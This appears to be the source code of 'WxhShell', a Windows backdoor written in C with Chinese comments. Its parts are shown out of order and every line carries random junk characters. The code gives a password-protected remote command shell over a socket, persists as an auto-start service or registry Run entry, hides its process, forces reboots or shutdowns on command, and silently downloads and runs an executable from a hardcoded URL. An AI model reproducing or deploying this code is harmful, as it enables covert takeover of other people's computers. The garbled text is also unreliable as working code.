    else { o= ($'(1  
    closesocket(wsh); sd\p[MXX  
    ExitThread(0); RSym9t90t  
    } ?=M ?v;8  
    break; 8^ f:-5  
    } xt5/`C  
  // 关机 \6&Ml]1  
  case 'd': { 5F~l;zT  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }l7+W4~  
    if(Boot(SHUTDOWN)) X%5eZ"1{x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g) u%?T  
    else { !="q"X /*  
    closesocket(wsh); p 4> ThpX  
    ExitThread(0); @h{|tP%"  
    } xrg?{*\  
    break; ,sAAV%" >  
    } Z{0BH{23  
  // 获取shell vNGE]+QX  
  case 's': { ~#*C,4m  
    CmdShell(wsh);  '/.Dxib  
    closesocket(wsh); Dd5 9xNKm  
    ExitThread(0); XJ4f;U  
    break; v<!S_7h  
  } Kt_oo[ey{  
  // 退出 7a'yO+7-)  
  case 'x': { 4@?0wV  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `3rwqcxA  
    CloseIt(wsh); yv[j Pbe  
    break; >s{I@#9  
    } pD$4nH4KST  
  // 离开 C:J;'[,S  
  case 'q': { Z ;.-UXat  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |NfFe*q0;8  
    closesocket(wsh); Wm}c-GD  
    WSACleanup(); ]^~}/@  
    exit(1); 4!Js="  
    break; /sKL|]i=  
        } X,|8Wpi=  
  } C 5.3[  
  } jfxNV2[  
hC:'L9Y  
  // 提示信息 ,&t+D-s<f  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ebk>e*  
} "Lbsq\W>  
  } lYx_8x2  
r[L%ap\{  
  return; ]nTeTW  
} OM\J4"YV$  
cfLF@LW!])  
// shell模块句柄 XNYA\%:5S  
int CmdShell(SOCKET sock) Xsq@E#@S  
{ 7Aqg X0)  
STARTUPINFO si; 3Zb%-_%j  
ZeroMemory(&si,sizeof(si)); /Y7^!3uM  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;'"'|} xn  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]at$ohS  
PROCESS_INFORMATION ProcessInfo; hw DxGiU  
char cmdline[]="cmd"; cbzA`b'Mg  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cI=6zMB  
  return 0; H%wB8Y ]  
} ,-c,3/tyA  
}%< ?]  
// 自身启动模式 ]EiM~n  
int StartFromService(void) Qa{5 ]+E  
{ >ED;_L*_o  
typedef struct 0]DOiA  
{ V"/.An|  
  DWORD ExitStatus; "<CM 'R  
  DWORD PebBaseAddress; dfDjOZSL  
  DWORD AffinityMask; ]>n{~4a  
  DWORD BasePriority; /UCBoQ$/]  
  ULONG UniqueProcessId; c#OxI*,+/  
  ULONG InheritedFromUniqueProcessId; 7>Scf  
}   PROCESS_BASIC_INFORMATION; /Ew()>Y  
ng1E'c]0@  
PROCNTQSIP NtQueryInformationProcess; I,?NYIG"(  
*/aY $aWv  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X|of87  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Vk6c^/v  
Hg#t SE  
  HANDLE             hProcess; ~;"eNg{ T  
  PROCESS_BASIC_INFORMATION pbi; X`8<;l  
JX59n%$@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &h5Vhzq(<  
  if(NULL == hInst ) return 0; #VQZ"7nI@  
z|g2Q#$-\S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E?w#$HS  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Jf^3nBZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); CsR[@&n'  
M\1CDU+*Ns  
  if (!NtQueryInformationProcess) return 0; {j wv+6]U  
{cdICWy(F3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %['NPs%B  
  if(!hProcess) return 0; 7K"3[.  
b_+o1Zy`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7 [Us.V@  
c&c  
  CloseHandle(hProcess); u(9pRr L  
%`C e#b()'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1jC85^1Taq  
if(hProcess==NULL) return 0; "im5Fnu  
]OpGD5jZ  
HMODULE hMod; @]Q4K%1^"  
char procName[255]; o$ @/@r  
unsigned long cbNeeded; qnP4wRpr  
tQ }GTqk  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jOhAXe;~X{  
HNkOPz+d&8  
  CloseHandle(hProcess); |$ PA  
~ <1s[Hu  
if(strstr(procName,"services")) return 1; // 以服务启动 bdrE2m  
Uw4iWcC  
  return 0; // 注册表启动 .-$3I|}X=  
} /K H85/s  
A!Tl  
// 主模块 TG=A]--_a  
int StartWxhshell(LPSTR lpCmdLine) dV$[O`F* b  
{ ET[5`z  
  SOCKET wsl; sI\NX$M  
BOOL val=TRUE; -zECxHj x  
  int port=0; \Fjasz5E'  
  struct sockaddr_in door; yz [pF  
j+!u=E  
  if(wscfg.ws_autoins) Install(); 0LW3VfvToN  
WrP+n  
port=atoi(lpCmdLine); gV)/lDEM5  
.BxI~d^  
if(port<=0) port=wscfg.ws_port; KXMf2)pa  
W~H`{x%Av>  
  WSADATA data; p;4FZ$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vU *: M8k  
@+;.W>^h  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   h.-L_!1B7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $.C\H,H  
  door.sin_family = AF_INET; pg5W`4-F  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (bm> )U=  
  door.sin_port = htons(port); @o[ZJ4>*  
q?frt3o  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e&ti(Q=  
closesocket(wsl); #Q2s3 "X[  
return 1; P^o@x,V!&  
} %nJo:/  
8Z}%,G*n  
  if(listen(wsl,2) == INVALID_SOCKET) { ")ys!V9  
closesocket(wsl); 8XVRRk  
return 1; <uU<qO;6  
} N/>:})dav  
  Wxhshell(wsl); 2KO`+  
  WSACleanup(); jNbVp{%/S}  
E$_zBD%  
return 0; \e'Vsy>q  
RaLV@>jPm  
} Sv=e|!3f[k  
o w(9dB&E  
// 以NT服务方式启动 !Th5x2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) DhxS@/  
{ 1q=Q/L4P  
DWORD   status = 0; {zd[8TJ~xa  
  DWORD   specificError = 0xfffffff; lpPPI+|4N  
iWWtL  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {1=|H$wKg  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Xz:ha >}C  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "Plo[E  
  serviceStatus.dwWin32ExitCode     = 0; *Mg@j;+5s  
  serviceStatus.dwServiceSpecificExitCode = 0; jD<xpD  
  serviceStatus.dwCheckPoint       = 0; VZ IY=Q>g  
  serviceStatus.dwWaitHint       = 0; 1mHS -oI9J  
s;Bh69  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ObZhQ.&  
  if (hServiceStatusHandle==0) return; gdSqG2/&  
qh W]Wd" g  
status = GetLastError();  7L:Eg  
  if (status!=NO_ERROR) vx7=I\1  
{ tKyGD|g S  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [&P @0F n  
    serviceStatus.dwCheckPoint       = 0; L9^ M?.a  
    serviceStatus.dwWaitHint       = 0; (!b)<V*  
    serviceStatus.dwWin32ExitCode     = status; oM>UIDCY_v  
    serviceStatus.dwServiceSpecificExitCode = specificError; =!DX,S7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4V{&[ Z  
    return; oR8'^G0<  
  } |_g7k2oLY  
%hmRh~/&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^AI02`c.  
  serviceStatus.dwCheckPoint       = 0; rS!@AgPLE  
  serviceStatus.dwWaitHint       = 0; :B=Gb8?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ' A+L #  
} s5G`?/  
) x+edYw  
// 处理NT服务事件,比如:启动、停止 }'}n~cA.{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _U LzA  
{ sMVk]Mb  
switch(fdwControl) <L*`WO]\l  
{ u{HO6 s\S  
case SERVICE_CONTROL_STOP: S8kzAT  
  serviceStatus.dwWin32ExitCode = 0; :81d~f7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )2l @%?9  
  serviceStatus.dwCheckPoint   = 0; WB_BEh[>j  
  serviceStatus.dwWaitHint     = 0; :_xfi9L~W0  
  { /9gn)q2f(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %rhZH^2  
  } n8)&1 q?V  
  return; ?+yM3As9_V  
case SERVICE_CONTROL_PAUSE: < @GO]vY  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1MO-60  
  break; JvvN>bg  
case SERVICE_CONTROL_CONTINUE: \6MM7x(U3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; a}FY^4hl+  
  break; :JX2GRL4  
case SERVICE_CONTROL_INTERROGATE: Sx J0Y8#z  
  break; |/xx**?  
}; $mAC8a_Zu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .hG*mXw>  
} G9Kck|50  
&b^~0Z  
// 标准应用程序主函数 'nM4t  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^ Lc\{,m  
{ /W*Z.  
<"K*O9 nst  
// 获取操作系统版本 a:l-cZ/!  
OsIsNt=GetOsVer(); c'3N;sZ*B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); g=t7YQq_~  
U/kQwrM  
  // 从命令行安装 Pf,@U'f|  
  if(strpbrk(lpCmdLine,"iI")) Install(); Nb9GrYIS  
ZQfPDH=  
  // 下载执行文件 M!i|,S  
if(wscfg.ws_downexe) { a9p:k ]{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ILAn2W  
  WinExec(wscfg.ws_filenam,SW_HIDE); :8oJG8WH  
} ihwJBN>(  
A&Aj!#  
if(!OsIsNt) { ZfqN4  
// 如果时win9x,隐藏进程并且设置为注册表启动 M$Z2"F;  
HideProc(); >O24#!9XW  
StartWxhshell(lpCmdLine); _ pz}  
} J+E,UiZU  
else w5%i  
  if(StartFromService()) =(7nl#o  
  // 以服务方式启动 Wpl/CO5z  
  StartServiceCtrlDispatcher(DispatchTable); : (X3?%  
else Rb0I7~Z%'d  
  // 普通方式启动 CKK}Z;~:  
  StartWxhshell(lpCmdLine); 1,;X4/*  
v '+]T=  
return 0; }}tbOD)t  
} 7LVG0A2>7  
Px=@Tw N,  
9|}Pf_5]%[  
]n|Jc_Y  
=========================================== 2,q*[Kh1  
vsj4? 0=  
pCh v;  
={ms@/e/T  
Q&I`uS=F  
:NF4[c  
" [|KvlOvP  
DpgTm&}-  
#include <stdio.h> vW=L{8zu  
#include <string.h> ~.%HZzR6&  
#include <windows.h> !&rd#ZBn  
#include <winsock2.h> z6Ob X  
#include <winsvc.h> zd=O;T;.  
#include <urlmon.h> )e,O+w"  
;Nj9,Va(t  
#pragma comment (lib, "Ws2_32.lib") clB K  
#pragma comment (lib, "urlmon.lib") 2aM7zP[Z  
Zj_2>A  
#define MAX_USER   100 // 最大客户端连接数 8#7qHT;cx  
#define BUF_SOCK   200 // sock buffer ",$_\l  
#define KEY_BUFF   255 // 输入 buffer :D)(3U5  
V]p{jLG  
#define REBOOT     0   // 重启 2]5{Xmmo9  
#define SHUTDOWN   1   // 关机 X@\W* nq  
hGz_F/  
#define DEF_PORT   5000 // 监听端口 Ur(R[*2bx  
+P2oQ_Fk`9  
#define REG_LEN     16   // 注册表键长度 ?Afe }  
#define SVC_LEN     80   // NT服务名长度 kyJbV[o<#  
4#B'pJMw9  
// 从dll定义API !@=S,Vc.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |vI`u[P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0ra'H/>Ly  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^viabkf C  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $^ws#}j  
 K& #il  
// wxhshell配置信息 5qb93E"C  
struct WSCFG { U)/.wa>  
  int ws_port;         // 监听端口 .:$(o&  
  char ws_passstr[REG_LEN]; // 口令 p{g4`o  
  int ws_autoins;       // 安装标记, 1=yes 0=no M ^o_='\bE  
  char ws_regname[REG_LEN]; // 注册表键名 8=`L#FkRp  
  char ws_svcname[REG_LEN]; // 服务名 m4mE7Wn.3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 d y HC8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 gM&IV{k3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rAH!%~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no uuC ["Z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1M]=Nv  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "v8p<JfB`  
nkW})LyB\  
}; v675C#l(  
>'*%wf[{  
// default Wxhshell configuration XX8HSw!w  
struct WSCFG wscfg={DEF_PORT, }L\;W:0  
    "xuhuanlingzhe", u 272)@R  
    1, &93{>caf+  
    "Wxhshell", 'Gy`e-yB  
    "Wxhshell", SqM>xm  
            "WxhShell Service", h?mDtMCw2  
    "Wrsky Windows CmdShell Service", I/O3OD  
    "Please Input Your Password: ", 2S?7j[@%i`  
  1, v:t;Uk^Y  
  "http://www.wrsky.com/wxhshell.exe", _~<sb,W  
  "Wxhshell.exe" Z`Y&cKsn  
    }; e\%,\ uV}  
+fP.Ewi  
// 消息定义模块 PkvW6,lS  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $n\Pw  
char *msg_ws_prompt="\n\r? for help\n\r#>"; a-{|/ n%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; R#T-o,m  
char *msg_ws_ext="\n\rExit."; Y^fw37b  
char *msg_ws_end="\n\rQuit."; |[SHpcq>  
char *msg_ws_boot="\n\rReboot..."; +:S `]  
char *msg_ws_poff="\n\rShutdown..."; ,!#Am13  
char *msg_ws_down="\n\rSave to "; Q:-T' xk@  
u{sHuVl  
char *msg_ws_err="\n\rErr!"; CX|W$b)%  
char *msg_ws_ok="\n\rOK!"; /<rvaR  
}]x \ `}o  
char ExeFile[MAX_PATH]; l6  G6H$  
int nUser = 0; j4~(6Imm  
HANDLE handles[MAX_USER]; ,lZ19B?WP  
int OsIsNt; 6/UOz V,[  
;UQGi}?CD  
SERVICE_STATUS       serviceStatus; ]$#bNt/p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r]6+&K  
T=/c0#Q|q  
// 函数声明 2RZa}  
int Install(void); Lvt3S .l  
int Uninstall(void); sm"Rp~[i  
int DownloadFile(char *sURL, SOCKET wsh); -pJ\_u/&%`  
int Boot(int flag); 'g <"@SS+  
void HideProc(void); 2r2:  
int GetOsVer(void); Lp%J:ogV`  
int Wxhshell(SOCKET wsl); H6Zo|n  
void TalkWithClient(void *cs); cQ$[Ba  
int CmdShell(SOCKET sock); 0]f/5jvLj  
int StartFromService(void); <:AA R2=  
int StartWxhshell(LPSTR lpCmdLine); ) YB'W_  
U;kN o3=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0B[~j7EGO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); CE{2\0Q  
{|$kI`h,3-  
// 数据结构和表定义 $$Tf1hIg  
SERVICE_TABLE_ENTRY DispatchTable[] = LRw-I.z  
{ uo?R;fX26  
{wscfg.ws_svcname, NTServiceMain}, ,2 xD>+=  
{NULL, NULL} 3u t<o-  
}; VI|2vV6?  
'h;qI&  
// 自我安装 63'% +  
int Install(void) ]w,|WZm  
{ $ r-rIW5\  
  char svExeFile[MAX_PATH]; XFWE^*e=B  
  HKEY key; H/*slqL  
  strcpy(svExeFile,ExeFile); ajG_t  
/F^ Jn_  
// 如果是win9x系统,修改注册表设为自启动 7Ou]!AOhG  
if(!OsIsNt) { fg ,vTpBk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Bx)!I]gi_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )l(DtU!E  
  RegCloseKey(key); ci+a jON  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C \5yo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )b%zYD9p  
  RegCloseKey(key); ^} Y}Iz  
  return 0; d~6UJ=]@8  
    } =/xx:D/  
  } 6)ysiAH?  
} ?Vh#Gr  
else { sEKF  
!K2QD[x  
// 如果是NT以上系统,安装为系统服务 a6A~,68/V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [_ uT+q3  
if (schSCManager!=0) A!^r9?<  
{ V@y&n1?6  
  SC_HANDLE schService = CreateService s^.tj41Gx}  
  ( ![4_K':=  
  schSCManager, tCRsaDK>  
  wscfg.ws_svcname, ~$//4kES  
  wscfg.ws_svcdisp, Y~*aA&D  
  SERVICE_ALL_ACCESS, `PeC,bp  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , X$~T*l0  
  SERVICE_AUTO_START, m$hkmD|  
  SERVICE_ERROR_NORMAL, 5-H"{29  
  svExeFile, A42!%>PB  
  NULL, WuI$   
  NULL,  JJs*2y  
  NULL, ^xScVOdP  
  NULL, UxF9Ko( ]d  
  NULL )_>'D4l ?  
  ); Yi[MoYe/K  
  if (schService!=0) TI2K_'  
  { k}qCkm27  
  CloseServiceHandle(schService); :AQ9-&i/a-  
  CloseServiceHandle(schSCManager); / $s(OFbi#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r XBC M  
  strcat(svExeFile,wscfg.ws_svcname); +T4}wm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6]?W&r|0I  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); l&kZ6lZ  
  RegCloseKey(key); YRv96|c,  
  return 0; \hEIQjfi  
    } d.Ccc/1-  
  } mfffOG  
  CloseServiceHandle(schSCManager); <R~;|&o,$  
} DSq?|H  
} ox\D04:M  
zMO#CZ t  
return 1; ;n|%W,b-  
} r1}1lJ>7H  
Aeo=m}C;  
// 自我卸载 yh|+Usa  
int Uninstall(void) xsy45az<ip  
{ ( *K)D$y  
  HKEY key; E'6/@xM  
S,avvY.U\  
if(!OsIsNt) { O 9M?Wk :  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IGly x'\_  
  RegDeleteValue(key,wscfg.ws_regname); WIAukM8~  
  RegCloseKey(key); ~v:IgS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BJ'pe[Xa5  
  RegDeleteValue(key,wscfg.ws_regname); M"qS#*{  
  RegCloseKey(key); !h<O c!9  
  return 0; -yBj7F|  
  } SkCux  
} F?cwIE\J  
} Q7d@+C  
else { P &@,Z# \  
]|=`-)AP3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Of$R+n.  
if (schSCManager!=0) @t*D<B$  
{ 0@y`iZ] 1S  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); gSj0+|  
  if (schService!=0) dD~H ft  
  { 2m*/$GZ  
  if(DeleteService(schService)!=0) { K)+]as  
  CloseServiceHandle(schService); DnG9bVm>  
  CloseServiceHandle(schSCManager); >msQ@Ch  
  return 0; v]H9`s#,  
  } ]l+<-  
  CloseServiceHandle(schService); ^,5%fl  
  } )l! `k  
  CloseServiceHandle(schSCManager); 6U$e;cr6  
} 2Qh)/=8lM  
} ct OCj$$u  
Iu5 9W >  
return 1; L%<]gJtrO  
} .}Ys+d1b9c  
;cPPx`0$9  
// 从指定url下载文件 6%:~.ZfN  
int DownloadFile(char *sURL, SOCKET wsh) mpVD;)?JmM  
{ . &`YlK  
  HRESULT hr; Q>9bKP  
char seps[]= "/"; ;(;~yB|NZ5  
char *token; 9}Z;(,6/.\  
char *file; =n_z`I  
char myURL[MAX_PATH]; }aI>dHL  
char myFILE[MAX_PATH]; 6K<o0=,jm2  
jt: *Y  
strcpy(myURL,sURL); |!7leL  
  token=strtok(myURL,seps); )PYh./_2  
  while(token!=NULL) *QI Yq  
  { V[]Pya|s+  
    file=token; , /jHhKW  
  token=strtok(NULL,seps); C&%NO;Ole  
  } BS,EW  
BafNF Pc  
GetCurrentDirectory(MAX_PATH,myFILE); UL#:!J/34  
strcat(myFILE, "\\"); Ea'jAIFPpO  
strcat(myFILE, file); ?TIi0;h  
  send(wsh,myFILE,strlen(myFILE),0); 'irwecd8  
send(wsh,"...",3,0); *:"60fkoU  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7ncR2-{g  
  if(hr==S_OK) 4,h)<(d{  
return 0; :hW(2=%  
else W/WP }QM  
return 1; 7+@-mJMP$D  
0dS(g&ZR  
} :%j"l7=>  
2EN}"Du]mj  
// 系统电源模块 92.Rjz;=9?  
int Boot(int flag) IR:{{ (  
{ &m[}%e%~0  
  HANDLE hToken; U 0~BcFpD  
  TOKEN_PRIVILEGES tkp;  YGs'[On8  
jq8TfJ|   
  if(OsIsNt) { qwnVtD  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "oFi+']*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |8[!`T*s  
    tkp.PrivilegeCount = 1; <RbfW'<G  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4KSq]S.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); uTPAf^|  
if(flag==REBOOT) { =_g#I  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) LjW32>B  
  return 0; L]"$d F  
} re#]zc<  
else { -e_TJA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ].aFdy  
  return 0; UWS 91GN@  
} )b=vBs`%  
  } Rbr:Q]zGN  
  else { QlR~rFs9t  
if(flag==REBOOT) { ^-mWk?>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ygkf}n  
  return 0; B"#pvJN  
} 5WxNH}{  
else { +opym!\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  F0zaA  
  return 0; $3&XM  
} n@"<NKzh  
} F`(;@LO  
I?%q`GyP5  
return 1; Cc`-34/%  
} _K'Y`w']  
J.U%W}Hx  
// win9x进程隐藏模块 pr4y*!|Y$  
void HideProc(void) I5g|)Y Q  
{ gM]E8%;{  
b2[U3)|oO  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); n <> ^cD  
  if ( hKernel != NULL ) xw_$1 S  
  { |*h{GX.(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P0OMu/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0]MD ?6-  
    FreeLibrary(hKernel); GVn'p Wg  
  } T@#?{eA  
hy%5LV<(  
return; 0L#i c61U  
} 8@S]P0lk  
~Jsu"kr  
// 获取操作系统版本 p8YOow7)  
int GetOsVer(void) F|.tn`j]U  
{ M}CxCEdDB]  
  OSVERSIONINFO winfo; 8)pL0bg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); g=qaq  
  GetVersionEx(&winfo); NYG!\u\Rm  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <6,,:=#  
  return 1; Pw7uxN`  
  else JgKhrDx  
  return 0; S0:Oep   
} tf8xc  
eK*oV}U-k  
// 客户端句柄模块 gn~^Ajo  
int Wxhshell(SOCKET wsl) {+d)M  
{ `T7TWv"M  
  SOCKET wsh; ]$^HGmP  
  struct sockaddr_in client; o.Y6(o  
  DWORD myID; =ePX^J*M'  
wxPl[)E  
  while(nUser<MAX_USER) \*b  .f  
{ Jq?zr]"A  
  int nSize=sizeof(client); Ct~j/.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); HyKA+ 7}  
  if(wsh==INVALID_SOCKET) return 1; T9]0/>  
Eaxsg  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /'_<~A  
if(handles[nUser]==0) % a.T@E  
  closesocket(wsh); (aSuxl.Dq  
else GQd[7j[sh  
  nUser++; BtKor6ba  
  } Jmg9|g!f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); JEWc{)4QD  
;~d$O M  
  return 0; k\j_hu  
} =h|cs{eT\2  
JZ5";*,  
// 关闭 socket cjO %X  
void CloseIt(SOCKET wsh) d8+@K&z|  
{ 7l =Tl[n  
closesocket(wsh); |s(Ih_Zn  
nUser--; mT UoFXX[  
ExitThread(0); IhZn  
} 2e-bt@0t  
U/cj_}uX  
// 客户端请求句柄 4e AMb  
void TalkWithClient(void *cs) XOI"BLd  
{ G%>[7]H  
q+p}U}L= k  
  SOCKET wsh=(SOCKET)cs; S^p^) fAmF  
  char pwd[SVC_LEN]; rKFnivGT  
  char cmd[KEY_BUFF]; J` gG`?  
char chr[1]; o~\.jQQxa  
int i,j; B9$f y).Gp  
}mIN)o  
  while (nUser < MAX_USER) { TecMQ0 KD  
aBG^Xhx  
if(wscfg.ws_passstr) { "M /Cl|z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  |:x,|>/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Yo' Y-h#  
  //ZeroMemory(pwd,KEY_BUFF); 3#dz6+  
      i=0; Cj`~ntMN  
  while(i<SVC_LEN) { i|AWaG)  
eiyr^Sch.  
  // 设置超时 |W=-/~X  
  fd_set FdRead; w%iw xo   
  struct timeval TimeOut; DmPsE6G}  
  FD_ZERO(&FdRead); 'xG J;pY  
  FD_SET(wsh,&FdRead); 4Otq3s34FT  
  TimeOut.tv_sec=8; *>mjUT}cP  
  TimeOut.tv_usec=0; BN%cX 2j  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H&p:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); wuYak"KX  
1;S?9N_B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tD}-&"REP  
  pwd=chr[0]; "JLE  
  if(chr[0]==0xd || chr[0]==0xa) { |?Edk7`  
  pwd=0; 8M,@Mb n  
  break; $':5uU1}  
  } A[7H-1-  
  i++; {J,"iJKop  
    } ;|?_C8  
aQ\SV0PI  
  // 如果是非法用户,关闭 socket 5Ww,vSCV)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^gp]tAf  
} \#Jq%nd  
'kC#GTZi  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #V]8FW  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pL;e(lM  
`5wiXsNjLY  
while(1) { eWex/ m  
A- Abj'  
  ZeroMemory(cmd,KEY_BUFF); 41Q)w=hoN  
26k~Z}  
      // 自动支持客户端 telnet标准   '/ Hoq  
  j=0; Al8Dw)uG{  
  while(j<KEY_BUFF) { ![r)KE=v8I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q(yg bT  
  cmd[j]=chr[0]; #rGCv~0*l  
  if(chr[0]==0xa || chr[0]==0xd) { H!X*29nX  
  cmd[j]=0; Te?PYV-  
  break; p"~@q}3  
  } Yu_ eCq5/  
  j++; JBJ?|}5k4c  
    } U; <{P  
/|UbYe,  
  // 下载文件 VWK/(>TP  
